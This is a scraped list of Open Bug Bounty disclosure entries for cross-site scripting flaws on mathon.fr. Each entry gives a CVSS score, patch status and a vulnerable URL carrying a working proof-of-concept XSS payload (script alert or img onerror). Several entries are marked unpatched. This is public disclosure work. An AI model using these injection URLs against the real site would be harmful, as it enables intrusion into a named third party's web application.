mathon.fr XSS vulnerability

Open Bug Bounty ID: OBB-363365 Description| Value ---|--- Affected Website:| mathon.fr Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Cheat Sheet...

mathon.fr XSS vulnerability

Vulnerable URL: http://www.mathon.fr/rechercher-%3c%2ftitle%3e%3cscript%3ealert'OPENBUGBOUNTY'%3c%2fscript%3e\n Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 91053 VIP website...

mathon.fr XSS vulnerability

Vulnerable URL: https://www.mathon.fr/rechercher-/%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E\n Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 88362 VIP website status:| N...

mathon.fr XSS vulnerability

Vulnerable URL: https://www.mathon.fr/rechercher-/%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 14:04 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8956...

mathon.fr XSS vulnerability

Vulnerable URL: http://www.mathon.fr/rechercher-%3C/title%3E%3Cscript%3Ealert'OPENBUGBOUNTY'%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 17.01.2017 Latest check for patch:| 17.01.2017 07:37 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

mathon.fr XSS vulnerability

Vulnerable URL: http://www.mathon.fr/rechercher-%3c%2ftitle%3e%3cscript%3ealert'OPENBUGBOUNTY'%3c%2fscript%3e Details: Description| Value ---|--- Patched:| Yes, at 02.05.2017 Latest check for patch:| 02.05.2017 11:10 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

mathon.fr XSS vulnerability

Vulnerable URL: http://www.mathon.fr/rechercher-%3Cscript%3Ealert%28'XSSPOSED'%29%3C%2fscript%3E Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 17:41 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 73768 Goog...